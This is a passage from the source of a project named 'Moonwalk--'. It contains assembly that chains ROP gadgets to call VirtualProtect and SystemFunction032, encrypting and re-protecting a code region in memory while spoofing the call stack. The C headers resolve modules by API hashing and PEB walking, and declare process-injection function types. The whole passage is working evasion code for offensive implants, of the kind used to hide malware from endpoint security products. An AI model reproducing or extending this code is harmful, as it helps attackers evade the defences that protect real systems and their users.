279 | push [r11].SPOOFER.AddRsp28Gadget
280 | push [r11].SPOOFER.AddRsp28Gadget
281 |
282 | sub rsp, 028h
283 | push [r11].SPOOFER.AddRsp28Gadget
284 |
285 | ; Virtual Protect
286 | push [r11].SPOOFER.VirtualProtectAddress
287 |
288 | push 1 ; r11
289 | push 1 ; r10
290 | push [r11].SPOOFER.OldProtection ; r9
291 | push 020h ; r8
292 | push [r11].SPOOFER.CodeBaseAddress ; rcx
293 |
294 | push [r11].SPOOFER.PopRegsGadget
295 |
296 | push [r11].SPOOFER.CodeBaseSize ; rdx
297 | push [r11].SPOOFER.PopRdxGadget
298 |
299 | sub rsp, 028h
300 | push [r11].SPOOFER.AddRsp28Gadget
301 |
302 | ; SystemFunction032
303 | push [r11].SPOOFER.SystemFunction032Address
304 |
305 | push 1 ; r11
306 | push 1 ; r10
307 | push 1 ; r9
308 | push 1 ; r8
309 | push [r11].SPOOFER.DataStructPointer
310 |
311 | push [r11].SPOOFER.PopRegsGadget
312 |
313 | push [r11].SPOOFER.KeyStructPointer
314 | push [r11].SPOOFER.PopRdxGadget
315 |
316 | sub rsp, 028h
317 | push [r11].SPOOFER.AddRsp28Gadget
318 |
319 |
320 | ; Virtual Protect
321 | push [r11].SPOOFER.VirtualProtectAddress
322 |
323 | int 3
324 | push [r11].SPOOFER.CodeBaseSize ; rdx
325 | push [r11].SPOOFER.PopRdxGadget
326 |
327 | push 1 ; r11
328 | push 1 ; r10
329 | push [r11].SPOOFER.OldProtection ; r9
330 | push 040h ; r8
331 | push [r11].SPOOFER.CodeBaseAddress ; rcx
332 |
333 | push [r11].SPOOFER.PopRegsGadget
334 |
335 |
336 | ret
337 |
338 |
339 | execute endp
340 |
341 |
342 | end
--------------------------------------------------------------------------------
/Moonwalk--/include/Common.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef COMMON_H_INCLUDED
4 | #define COMMON_H_INCLUDED
5 |
6 | #include
7 | #include
8 | #include
9 | #include "AddressHunter.h"
10 |
11 | #ifndef _OUTPUT
12 | #define _OUTPUT 1
13 | #endif // !_OUTPUT
14 |
15 | #define MINIMUM_JUMP_SIZE 0x500
16 | #define WILDCARD_BYTE 0xCC
17 | #define SEED 123456
18 | #define MAX_FRAMES 154
19 | // Remove if you have a self-made definition of memcmp
20 | #define MemCompare custom_memcmp
21 | #define MemCopy custom_memcpy
22 | // Using custom printf
23 | #define printf custom_printf
24 | #define memset custom_memset
25 | void custom_printf(const char* pszFormat, ...);
26 |
27 | // Removing malloc deps
28 | #undef malloc
29 | #define malloc(x) PICHeapAlloc(x)
30 |
31 | #undef realloc
32 | #define realloc(x,s) PICHeapReAlloc(x, s)
33 |
34 | #undef free
35 | #define free(x) PICHeapFree(x)
36 |
37 | // Removing memset deps
38 | void* custom_memset(void* dest, int c, size_t count);
39 |
40 | #ifdef _DEBUG
41 | #define DPRINT(...) { printf(__VA_ARGS__); }
42 | #else
43 | #define DPRINT(...) {}
44 | #endif
45 | #define HIDWORD(l) ((DWORD)(((DWORDLONG)(l)>>32)&0xFFFFFFFF))
46 |
47 | #define BitVal(data,y) ( (data>>y) & 1)
48 |
49 | #define BitChainInfo(data) BitVal(data, 2)
50 | #define BitUHandler(data) BitVal(data, 1)
51 | #define BitEHandler(data) BitVal(data, 0)
52 | #define Version(data) BitVal(data, 4)*2 + BitVal(data, 3)
53 |
54 | #define BYTE_TO_BINARY_PATTERN "%c%c%c%c%c%c%c%c"
55 | #define B2BP BYTE_TO_BINARY_PATTERN
56 | #define BYTE_TO_BINARY(byte) \
57 | (byte & 0x80 ? '1' : '0'), \
58 | (byte & 0x40 ? '1' : '0'), \
59 | (byte & 0x20 ? '1' : '0'), \
60 | (byte & 0x10 ? '1' : '0'), \
61 | (byte & 0x08 ? '1' : '0'), \
62 | (byte & 0x04 ? '1' : '0'), \
63 | (byte & 0x02 ? '1' : '0'), \
64 | (byte & 0x01 ? '1' : '0')
65 |
66 |
67 | typedef struct _USTRING {
68 | DWORD Length;
69 | DWORD MaximumLength;
70 | PUCHAR Buffer;
71 | } USTRING, *PUSTRING;
72 |
73 | typedef UCHAR UBYTE;
74 |
75 | typedef enum _REGISTERS {
76 | RAX = 0,
77 | RCX,
78 | RDX,
79 | RBX,
80 | RSP,
81 | RBP,
82 | RSI,
83 | RDI,
84 | R8,
85 | R9,
86 | R10,
87 | R11,
88 | R12,
89 | R13,
90 | R14,
91 | R15
92 | } REGISTERS;
93 |
94 |
95 | typedef union _UNWIND_CODE {
96 | struct {
97 | UBYTE CodeOffset; // 0xFF00
98 | UBYTE UnwindOp : 4; // 0x000f OPCODE
99 | UBYTE OpInfo : 4; // 0x00f0
100 | };
101 | USHORT FrameOffset;
102 | } UNWIND_CODE, * PUNWIND_CODE;
103 |
104 | typedef struct _UNWIND_INFO {
105 | UBYTE Version : 3;
106 | UBYTE Flags : 5; // 4 bytes
107 | UBYTE SizeOfProlog; // 4 bytes
108 | UBYTE CountOfCodes; // 4 bytes
109 | UBYTE FrameRegister : 4;
110 | UBYTE FrameOffset : 4; // 4bytes
111 | UNWIND_CODE UnwindCode[1];
112 | union {
113 | OPTIONAL ULONG ExceptionHandler;
114 | OPTIONAL ULONG FunctionEntry;
115 | };
116 | OPTIONAL ULONG* ExceptionData;
117 | } UNWIND_INFO, * PUNWIND_INFO;
118 |
119 | #define GetUnwindCodeEntry(info, index) \
120 | ((info)->UnwindCode[index])
121 |
122 | #define GetLanguageSpecificDataPtr(info) \
123 | ((PVOID)&GetUnwindCodeEntry((info),((info)->CountOfCodes + 1) & ~1))
124 |
125 | #define GetExceptionHandler(base, info) \
126 | ((PEXCEPTION_ROUTINE)((base) + *(PULONG)GetLanguageSpecificDataPtr(info)))
127 |
128 | #define GetChainedFunctionEntry(base, info) \
129 | ((PRUNTIME_FUNCTION)((base) + *(PULONG)GetLanguageSpecificDataPtr(info)))
130 |
131 | #define GetExceptionDataPtr(info) \
132 | ((PVOID)((PULONG)GetLanguageSpecificDataPtr(info) + 1))
133 |
134 | #if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
135 | #define ADDRESS ADDRESS64
136 | #define LPADDRESS LPADDRESS64
137 | #else
138 | typedef struct _tagADDRESS {
139 | DWORD Offset;
140 | WORD Segment;
141 | ADDRESS_MODE Mode;
142 | } ADDRESS, * LPADDRESS;
143 | #endif
144 |
145 | typedef struct _MIN_CTX {
146 |
147 | DWORD64 Rax;
148 | DWORD64 Rcx;
149 | DWORD64 Rdx;
150 | DWORD64 Rbx;
151 | DWORD64 Rsp;
152 | DWORD64 Rbp;
153 | DWORD64 Rsi;
154 | DWORD64 Rdi;
155 | DWORD64 R8;
156 | DWORD64 R9;
157 | DWORD64 R10;
158 | DWORD64 R11;
159 | DWORD64 R12;
160 | DWORD64 R13;
161 | DWORD64 R14;
162 | DWORD64 R15;
163 |
164 | DWORD64 Rip;
165 | DWORD64 Reserved;
166 | DWORD64 StackSize;
167 |
168 | } MIN_CTX, *PMIN_CTX;
169 |
170 | typedef enum _UNWIND_OP_CODES {
171 | // x86_64. https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64.
172 | UWOP_PUSH_NONVOL = 0,
173 | UWOP_ALLOC_LARGE, // 1
174 | UWOP_ALLOC_SMALL, // 2
175 | UWOP_SET_FPREG, // 3
176 | UWOP_SAVE_NONVOL, // 4
177 | UWOP_SAVE_NONVOL_BIG, // 5
178 | UWOP_EPILOG, // 6
179 | UWOP_SPARE_CODE, // 7
180 | UWOP_SAVE_XMM128, // 8
181 | UWOP_SAVE_XMM128BIG, // 9
182 | UWOP_PUSH_MACH_FRAME, // 10
183 |
184 | // ARM64. https://docs.microsoft.com/en-us/cpp/build/arm64-exception-handling
185 | UWOP_ALLOC_MEDIUM,
186 | UWOP_SAVE_R19R20X,
187 | UWOP_SAVE_FPLRX,
188 | UWOP_SAVE_FPLR,
189 | UWOP_SAVE_REG,
190 | UWOP_SAVE_REGX,
191 | UWOP_SAVE_REGP,
192 | UWOP_SAVE_REGPX,
193 | UWOP_SAVE_LRPAIR,
194 | UWOP_SAVE_FREG,
195 | UWOP_SAVE_FREGX,
196 | UWOP_SAVE_FREGP,
197 | UWOP_SAVE_FREGPX,
198 | UWOP_SET_FP,
199 | UWOP_ADD_FP,
200 | UWOP_NOP,
201 | UWOP_END,
202 | UWOP_SAVE_NEXT,
203 | UWOP_TRAP_FRAME,
204 | UWOP_CONTEXT,
205 | UWOP_CLEAR_UNWOUND_TO_CALL,
206 | // ARM: https://docs.microsoft.com/en-us/cpp/build/arm-exception-handling
207 |
208 | UWOP_ALLOC_HUGE,
209 | UWOP_WIDE_ALLOC_MEDIUM,
210 | UWOP_WIDE_ALLOC_LARGE,
211 | UWOP_WIDE_ALLOC_HUGE,
212 |
213 | UWOP_WIDE_SAVE_REG_MASK,
214 | UWOP_WIDE_SAVE_SP,
215 | UWOP_SAVE_REGS_R4R7LR,
216 | UWOP_WIDE_SAVE_REGS_R4R11LR,
217 | UWOP_SAVE_FREG_D8D15,
218 | UWOP_SAVE_REG_MASK,
219 | UWOP_SAVE_LR,
220 | UWOP_SAVE_FREG_D0D15,
221 | UWOP_SAVE_FREG_D16D31,
222 | UWOP_WIDE_NOP, // UWOP_NOP
223 | UWOP_END_NOP, // UWOP_END
224 | UWOP_WIDE_END_NOP,
225 | // Custom implementation opcodes (implementation specific).
226 | UWOP_CUSTOM,
227 | } UNWIND_OP_CODES;
228 |
229 | // Stack allocations use UOP_AllocSmall, UOP_AllocLarge from above, plus
230 | // the following. AllocSmall, AllocLarge and AllocHuge represent a 16 bit
231 | // instruction, while the WideAlloc* opcodes represent a 32 bit instruction.
232 | // Small can represent a stack offset of 0x7f*4 (252) bytes, Medium can
233 | // represent up to 0x3ff*4 (4092) bytes, Large up to 0xffff*4 (262140) bytes,
234 | // and Huge up to 0xffffff*4 (67108860) bytes.
235 |
236 |
237 | #if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
238 | #define STACKFRAME STACKFRAME64
239 | #define LPSTACKFRAME LPSTACKFRAME64
240 | #else
241 | typedef struct _tagSTACKFRAME {
242 | ADDRESS AddrPC;
243 | ADDRESS AddrReturn;
244 | ADDRESS AddrFrame;
245 | ADDRESS AddrStack;
246 | PVOID FuncTableEntry;
247 | DWORD Params[4];
248 | BOOL Far;
249 | BOOL Virtual;
250 | DWORD Reserved[3];
251 | KDHELP KdHelp;
252 | ADDRESS AddrBStore;
253 | } STACKFRAME, * LPSTACKFRAME;
254 | #endif
255 |
256 |
257 | BYTE ExtractOpInfo(BYTE OpIC) {
258 | return OpIC >> 4;
259 | }
260 |
261 | BYTE ExtractOpCode(BYTE OpIC) {
262 | return OpIC & 0x0F;
263 | }
264 |
265 | #if _OUTPUT == 1
266 | size_t internal_strlen(const char* str) {
267 | const char* s = str;
268 | while (*s) ++s;
269 | return s - str;
270 | }
271 |
272 | void custom_printf(const char* pszFormat, ...) {
273 | char buf[1024];
274 | va_list argList;
275 | va_start(argList, pszFormat);
276 | wvsprintfA(buf, pszFormat, argList);
277 | va_end(argList);
278 | DWORD done;
279 | WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), buf, (DWORD)internal_strlen(buf), &done, NULL);
280 | }
281 | #else
282 | void custom_printf(const char* pszFormat, ...) {};
283 | #endif
284 |
285 | void* custom_memset(void* dest, int val, size_t len) {
286 | for (char* dst = (char*)dest; len != 0; len--) {
287 | *dst++ = val;
288 | }
289 | return dest;
290 | }
291 |
292 | void* custom_memcpy(void* dest, void* src, unsigned int len)
293 | {
294 | unsigned int i;
295 | char* char_src = (char*)src;
296 | char* char_dest = (char*)dest;
297 | for (i = 0; i < len; i++) {
298 | char_dest[i] = char_src[i];
299 | }
300 | return dest;
301 | }
302 |
303 |
304 | int custom_memcmp(const void* buf1, const void* buf2, unsigned int len)
305 | {
306 | unsigned int i = 0;
307 | unsigned char* char_buf1 = (unsigned char*)buf1;
308 | unsigned char* char_buf2 = (unsigned char*)buf2;
309 | for (i = 0; i < len; i++) {
310 | if (char_buf1[i] < char_buf2[i]) {
311 | return -1;
312 | }
313 | else if (char_buf1[i] > char_buf2[i]) {
314 | return 1;
315 | }
316 | }
317 | return 0;
318 | }
319 |
320 |
321 | int rand(unsigned long int next) // RAND_MAX assumed as 256 + 20
322 | {
323 | next = next * 1103515245 + 12345;
324 | return ((unsigned int)(next / 65536) % 0x7f) + 0x20;
325 | }
326 |
327 | #endif
328 |
329 |
330 | #define WILDCARD_BYTE 0xCC
331 | BOOL SearchGadget(
332 | HMODULE hMod,
333 | byte pattern[],
334 | DWORD dwLenPattern,
335 | PVOID* ppGadgetAddress,
336 | DWORD* pStartOffset // offset within .text section
337 | ) {
338 | BOOL bSuccess = FALSE;
339 | PVOID pBufTextMemory = NULL;
340 | DWORD sizeText = 0;
341 | DWORD textSectionVA = 0;
342 |
343 | PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)hMod;
344 | PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)((BYTE*)hMod + pDosHdr->e_lfanew);
345 | PIMAGE_SECTION_HEADER pSectionHdr = (PIMAGE_SECTION_HEADER)((BYTE*)&pNtHdrs->OptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
346 |
347 | char text[] = { '.', 't','e','x','t', 0x00 };
348 |
349 | for (int i = 0; i < pNtHdrs->FileHeader.NumberOfSections; i++) {
350 | if (my_strcmp((char*)pSectionHdr->Name, text) == 0) {
351 | pBufTextMemory = PICVirtualAlloc(pSectionHdr->Misc.VirtualSize, PAGE_READWRITE);
352 | if (pBufTextMemory == NULL)
353 | return FALSE;
354 |
355 | custom_memcpy(pBufTextMemory, (byte*)((byte*)hMod + pSectionHdr->VirtualAddress), pSectionHdr->Misc.VirtualSize);
356 | sizeText = pSectionHdr->Misc.VirtualSize;
357 | textSectionVA = pSectionHdr->VirtualAddress;
358 | break;
359 | }
360 |
361 | pSectionHdr = (PIMAGE_SECTION_HEADER)((BYTE*)pSectionHdr + sizeof(IMAGE_SECTION_HEADER));
362 | }
363 |
364 | if (pBufTextMemory == NULL)
365 | return FALSE;
366 |
367 | DWORD start = (pStartOffset != NULL) ? *pStartOffset : 0;
368 |
369 | for (DWORD i = start; i <= sizeText - dwLenPattern; i++) {
370 | BOOL match = TRUE;
371 |
372 | for (DWORD j = 0; j < dwLenPattern; j++) {
373 | BYTE current = *((BYTE*)pBufTextMemory + i + j);
374 |
375 | if (pattern[j] != WILDCARD_BYTE && current != pattern[j]) {
376 | match = FALSE;
377 | break;
378 | }
379 | }
380 |
381 | if (match) {
382 | *ppGadgetAddress = (BYTE*)hMod + textSectionVA + i;
383 |
384 | if (pStartOffset)
385 | *pStartOffset = i + 1;
386 |
387 | bSuccess = TRUE;
388 | break;
389 | }
390 | }
391 |
392 | if (pBufTextMemory)
393 | PICVirtualFree(pBufTextMemory);
394 |
395 | return bSuccess;
396 | }
397 |
--------------------------------------------------------------------------------
/Moonwalk--/include/AddressHunter.h:
--------------------------------------------------------------------------------
1 | // https://raw.githubusercontent.com/paranoidninja/PIC-Get-Privileges/main/addresshunter.h
2 | #define _CRT_SECURE_NO_WARNINGS 1
3 |
4 | #include
5 | #include
6 | #include
7 |
8 |
9 | #define DEREF( name )*(UINT_PTR *)(name)
10 | #define DEREF_64( name )*(DWORD64 *)(name)
11 | #define DEREF_32( name )*(DWORD *)(name)
12 | #define DEREF_16( name )*(WORD *)(name)
13 | #define DEREF_8( name )*(BYTE *)(name)
14 |
15 | #define KERNELBASE_HASH 0xc42f2982
16 | #define KERNEL32DLL_HASH 0xbc5d4571
17 | #define MSVCRTDLL_HASH 0xc3222c90
18 | #define ADVAPI32DLL_HASH 0x8353484b
19 | #define NTDLL_HASH 0x4f576ca1
20 | #define MSHTML_HASH 0xf60d3eb8
21 |
22 | #define FH_RND_SEED 0xDC072B8A
23 | #define ROL8(v) (v << 8 | v >> 24)
24 | #define ROR8(v) (v >> 8 | v << 24)
25 | #define ROX8(v) ((FH_RND_SEED % 2) ? ROL8(v) : ROR8(v))
26 |
27 | // Internal types
28 | typedef LPVOID(WINAPI* HeapAllocType)(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
29 | typedef LPVOID(WINAPI* HeapReAllocType)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes);
30 | typedef BOOL(WINAPI* HeapFreeType)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem);
31 | typedef HANDLE(WINAPI* GetProcessHeapType)();
32 | typedef SIZE_T(WINAPI* VirtualQueryType)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
33 | typedef HANDLE(WINAPI* OpenProcessType)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
34 | typedef DWORD(WINAPI* GetCurrentProcessIdType)();
35 | typedef HMODULE(WINAPI* LoadLibraryAType)(LPCSTR lpLibFileName);
36 | typedef void(WINAPI* SleepType)(DWORD dwMilliseconds);
37 | typedef BOOL(WINAPI* TerminateProcessType)(HANDLE hProcess, UINT uExitCode);
38 | #define KillProcType TerminateProcessType
39 |
40 | typedef DWORD(WINAPI* ResumeThreadType)(HANDLE hThread);
41 | typedef BOOL(WINAPI* GetThreadContextType)(HANDLE hThread, LPCONTEXT lpContext);
42 | typedef BOOL(WINAPI* SetThreadContextType)(HANDLE hThread, const CONTEXT* lpContext);
43 | typedef BOOL(WINAPI* VirtualFreeType)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
44 | typedef LPVOID(WINAPI* VirtualAllocType)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
45 | typedef BOOL(WINAPI* WriteProcessMemoryType)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);
46 | typedef HANDLE(WINAPI* OpenProcessType)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
47 | typedef LPVOID(WINAPI* VirtualAllocExType)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
48 | typedef HANDLE(WINAPI* CreateThreadType)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
49 | typedef NTSTATUS(NTAPI* NtCreateThreadExType)(PHANDLE, ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE, LPVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, LPVOID);
50 | typedef BOOL(WINAPI* TerminateThreadType)(HANDLE hThread, DWORD dwExitCode);
51 | typedef BOOL(WINAPI* VirtualProtectExType)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
52 |
53 | typedef PIMAGE_RUNTIME_FUNCTION_ENTRY PERF;
54 |
55 | typedef struct _dll {
56 |
57 | HMODULE Handle;
58 | UINT64 TextSectionAddress;
59 | UINT64 TextSectionSize;
60 | PIMAGE_EXPORT_DIRECTORY ExportDirectory;
61 | PERF ExceptionTable;
62 | DWORD ExceptionTableLastEntryIndex;
63 |
64 | } DLL, * PDLL;
65 |
66 | //redefine UNICODE_STR struct
67 | typedef struct _UNICODE_STR
68 | {
69 | USHORT Length;
70 | USHORT MaximumLength;
71 | PWSTR pBuffer;
72 | } UNICODE_STR, * PUNICODE_STR;
73 |
74 | //redefine PEB_LDR_DATA struct
75 | typedef struct _PEB_LDR_DATA
76 | {
77 | DWORD dwLength;
78 | DWORD dwInitialized;
79 | LPVOID lpSsHandle;
80 | LIST_ENTRY InLoadOrderModuleList;
81 | LIST_ENTRY InMemoryOrderModuleList;
82 | LIST_ENTRY InInitializationOrderModuleList;
83 | LPVOID lpEntryInProgress;
84 | } PEB_LDR_DATA, * PPEB_LDR_DATA;
85 |
86 | //redefine LDR_DATA_TABLE_ENTRY struct
87 | typedef struct _LDR_DATA_TABLE_ENTRY
88 | {
89 | LIST_ENTRY InMemoryOrderModuleList;
90 | LIST_ENTRY InInitializationOrderModuleList;
91 | PVOID DllBase;
92 | PVOID EntryPoint;
93 | ULONG SizeOfImage;
94 | UNICODE_STR FullDllName;
95 | UNICODE_STR BaseDllName;
96 | ULONG Flags;
97 | SHORT LoadCount;
98 | SHORT TlsIndex;
99 | LIST_ENTRY HashTableEntry;
100 | ULONG TimeDateStamp;
101 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
102 |
103 | //redefine PEB_FREE_BLOCK struct
104 | typedef struct _PEB_FREE_BLOCK
105 | {
106 | struct _PEB_FREE_BLOCK* pNext;
107 | DWORD dwSize;
108 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
109 |
110 | //redefine PEB struct
111 | typedef struct __PEB
112 | {
113 | BYTE bInheritedAddressSpace;
114 | BYTE bReadImageFileExecOptions;
115 | BYTE bBeingDebugged;
116 | BYTE bSpareBool;
117 | LPVOID lpMutant;
118 | LPVOID lpImageBaseAddress;
119 | PPEB_LDR_DATA pLdr;
120 | LPVOID lpProcessParameters;
121 | LPVOID lpSubSystemData;
122 | LPVOID lpProcessHeap;
123 | PRTL_CRITICAL_SECTION pFastPebLock;
124 | LPVOID lpFastPebLockRoutine;
125 | LPVOID lpFastPebUnlockRoutine;
126 | DWORD dwEnvironmentUpdateCount;
127 | LPVOID lpKernelCallbackTable;
128 | DWORD dwSystemReserved;
129 | DWORD dwAtlThunkSListPtr32;
130 | PPEB_FREE_BLOCK pFreeList;
131 | DWORD dwTlsExpansionCounter;
132 | LPVOID lpTlsBitmap;
133 | DWORD dwTlsBitmapBits[2];
134 | LPVOID lpReadOnlySharedMemoryBase;
135 | LPVOID lpReadOnlySharedMemoryHeap;
136 | LPVOID lpReadOnlyStaticServerData;
137 | LPVOID lpAnsiCodePageData;
138 | LPVOID lpOemCodePageData;
139 | LPVOID lpUnicodeCaseTableData;
140 | DWORD dwNumberOfProcessors;
141 | DWORD dwNtGlobalFlag;
142 | LARGE_INTEGER liCriticalSectionTimeout;
143 | DWORD dwHeapSegmentReserve;
144 | DWORD dwHeapSegmentCommit;
145 | DWORD dwHeapDeCommitTotalFreeThreshold;
146 | DWORD dwHeapDeCommitFreeBlockThreshold;
147 | DWORD dwNumberOfHeaps;
148 | DWORD dwMaximumNumberOfHeaps;
149 | LPVOID lpProcessHeaps;
150 | LPVOID lpGdiSharedHandleTable;
151 | LPVOID lpProcessStarterHelper;
152 | DWORD dwGdiDCAttributeList;
153 | LPVOID lpLoaderLock;
154 | DWORD dwOSMajorVersion;
155 | DWORD dwOSMinorVersion;
156 | WORD wOSBuildNumber;
157 | WORD wOSCSDVersion;
158 | DWORD dwOSPlatformId;
159 | DWORD dwImageSubsystem;
160 | DWORD dwImageSubsystemMajorVersion;
161 | DWORD dwImageSubsystemMinorVersion;
162 | DWORD dwImageProcessAffinityMask;
163 | DWORD dwGdiHandleBuffer[34];
164 | LPVOID lpPostProcessInitRoutine;
165 | LPVOID lpTlsExpansionBitmap;
166 | DWORD dwTlsExpansionBitmapBits[32];
167 | DWORD dwSessionId;
168 | ULARGE_INTEGER liAppCompatFlags;
169 | ULARGE_INTEGER liAppCompatFlagsUser;
170 | LPVOID lppShimData;
171 | LPVOID lpAppCompatInfo;
172 | UNICODE_STR usCSDVersion;
173 | LPVOID lpActivationContextData;
174 | LPVOID lpProcessAssemblyStorageMap;
175 | LPVOID lpSystemDefaultActivationContextData;
176 | LPVOID lpSystemAssemblyStorageMap;
177 | DWORD dwMinimumStackCommit;
178 | } _PEB, * _PPEB;
179 |
180 | uintptr_t GetRemoteImageBase(DWORD pid) {
181 | HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
182 | MODULEENTRY32 me = { sizeof me };
183 | if (Module32First(hSnap, &me)) {
184 | CloseHandle(hSnap);
185 | return (uintptr_t)me.modBaseAddr;
186 | }
187 | CloseHandle(hSnap);
188 | return 0;
189 | }
190 |
191 | DWORD HashModule(PCSTR ModuleName, size_t length)
192 | {
193 | DWORD i = 0;
194 | DWORD Hash = FH_RND_SEED;
195 |
196 | while (i < length / 2)
197 | {
198 | WORD PartialName = *(WORD*)((ULONG64)ModuleName + i++) | 0x20202020;
199 | Hash ^= PartialName + ROR8(Hash);
200 | }
201 | return Hash;
202 | }
203 |
204 | // function to fetch the base address of a Mmodule from the Process Environment Block
205 | UINT64 GetModule(DWORD TargetHash) {
206 | ULONG_PTR dll, val1;
207 | PWSTR val2;
208 | USHORT usCounter;
209 | // We want to stop when we find this
210 | DWORD firstHash = 0;
211 |
212 | // PEB is at 0x60 offset and __readgsqword is compiler intrinsic,
213 | // so we don't need to extract it's symbol
214 | dll = __readgsqword(0x60);
215 |
216 | dll = (ULONG_PTR)((_PPEB)dll)->pLdr;
217 | val1 = (ULONG_PTR)((PPEB_LDR_DATA)dll)->InMemoryOrderModuleList.Flink;
218 |
219 | while (NULL != val1) {
220 | val2 = (PWSTR)((PLDR_DATA_TABLE_ENTRY)val1)->BaseDllName.pBuffer;
221 | usCounter = (USHORT)((PLDR_DATA_TABLE_ENTRY)val1)->BaseDllName.Length;
222 |
223 | //calculate the hash of module
224 | DWORD Hash = HashModule((PCSTR)val2, usCounter);
225 | if (firstHash == 0) {
226 | firstHash = Hash;
227 | }
228 | else if (firstHash == Hash) {
229 | break;
230 | }
231 |
232 | //wprintf(L"%s: %u\n --> Hash: %x - Target: %x\n", (WCHAR*)val2, usCounter, Hash, TargetHash);
233 |
234 | // compare the hash of module
235 | if (Hash == TargetHash) {
236 | //return module address if found
237 | dll = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)val1)->DllBase;
238 | return dll;
239 | }
240 | val1 = DEREF(val1);
241 | }
242 | return 0;
243 | }
244 |
245 | // custom strcmp function since this function will be called by GetSymbolAddress
246 | // which means we have to call strcmp before loading msvcrt.dll
247 | // so we are writing our own my_strcmp so that we don't have to play with egg or chicken dilemma
248 | int my_strcmp(const char* p1, const char* p2) {
249 | const unsigned char* s1 = (const unsigned char*)p1;
250 | const unsigned char* s2 = (const unsigned char*)p2;
251 | unsigned char c1, c2;
252 | do {
253 | c1 = (unsigned char)*s1++;
254 | c2 = (unsigned char)*s2++;
255 | if (c1 == '\0') {
256 | return c1 - c2;
257 | }
258 | } while (c1 == c2);
259 | return c1 - c2;
260 | }
261 |
262 | UINT64 GetFirstModule() {
263 | ULONG_PTR dll, val1;
264 |
265 | dll = __readgsqword(0x60);
266 | dll = (ULONG_PTR)((_PPEB)dll)->pLdr;
267 | val1 = (ULONG_PTR)((PPEB_LDR_DATA)dll)->InMemoryOrderModuleList.Flink;
268 | dll = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)val1)->DllBase;
269 | return dll;
270 | }
271 |
272 | VOID GetModuleTextSection(PDLL dllObject) {
273 |
274 | dllObject->Handle = (HMODULE)GetFirstModule();
275 |
276 | if (NULL != dllObject) {
277 | PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllObject->Handle + ((PIMAGE_DOS_HEADER)dllObject->Handle)->e_lfanew);
278 |
279 | WORD nSections = ntHeaders->FileHeader.NumberOfSections;
280 | PIMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(ntHeaders);
281 | for (WORD i = 0; i < nSections; i++)
282 | {
283 |
284 | if (!my_strcmp((char*)Section->Name, (char*)".text")) {
285 |
286 | dllObject->TextSectionAddress = Section->VirtualAddress;
287 | dllObject->TextSectionSize = Section->SizeOfRawData;
288 | break;
289 | }
290 | Section++;
291 | }
292 | }
293 | }
294 |
295 |
296 | UINT64 GetSymbolAddress(HMODULE hModule, LPCSTR lpProcName) {
297 | UINT64 dllAddress = (UINT64)hModule,
298 | symbolAddress = 0,
299 | exportedAddressTable = 0,
300 | namePointerTable = 0,
301 | ordinalTable = 0;
302 |
303 | if (hModule == NULL) {
304 | return 0;
305 | }
306 |
307 | PIMAGE_NT_HEADERS ntHeaders = NULL;
308 | PIMAGE_DATA_DIRECTORY dataDirectory = NULL;
309 | PIMAGE_EXPORT_DIRECTORY exportDirectory = NULL;
310 |
311 | ntHeaders = (PIMAGE_NT_HEADERS)(dllAddress + ((PIMAGE_DOS_HEADER)dllAddress)->e_lfanew);
312 | dataDirectory = (PIMAGE_DATA_DIRECTORY)&ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
313 | exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllAddress + dataDirectory->VirtualAddress);
314 |
315 | exportedAddressTable = (dllAddress + exportDirectory->AddressOfFunctions);
316 | namePointerTable = (dllAddress + exportDirectory->AddressOfNames);
317 | ordinalTable = (dllAddress + exportDirectory->AddressOfNameOrdinals);
318 |
319 | if (((UINT64)lpProcName & 0xFFFF0000) == 0x00000000) {
320 | exportedAddressTable += ((IMAGE_ORDINAL((UINT64)lpProcName) - exportDirectory->Base) * sizeof(DWORD));
321 | symbolAddress = (UINT64)(dllAddress + DEREF_32(exportedAddressTable));
322 | }
323 | else {
324 | DWORD dwCounter = exportDirectory->NumberOfNames;
325 | while (dwCounter--) {
326 | char* cpExportedFunctionName = (char*)(dllAddress + DEREF_32(namePointerTable));
327 | if (my_strcmp(cpExportedFunctionName, lpProcName) == 0) {
328 | exportedAddressTable += (DEREF_16(ordinalTable) * sizeof(DWORD));
329 | symbolAddress = (UINT64)(dllAddress + DEREF_32(exportedAddressTable));
330 | break;
331 | }
332 | namePointerTable += sizeof(DWORD);
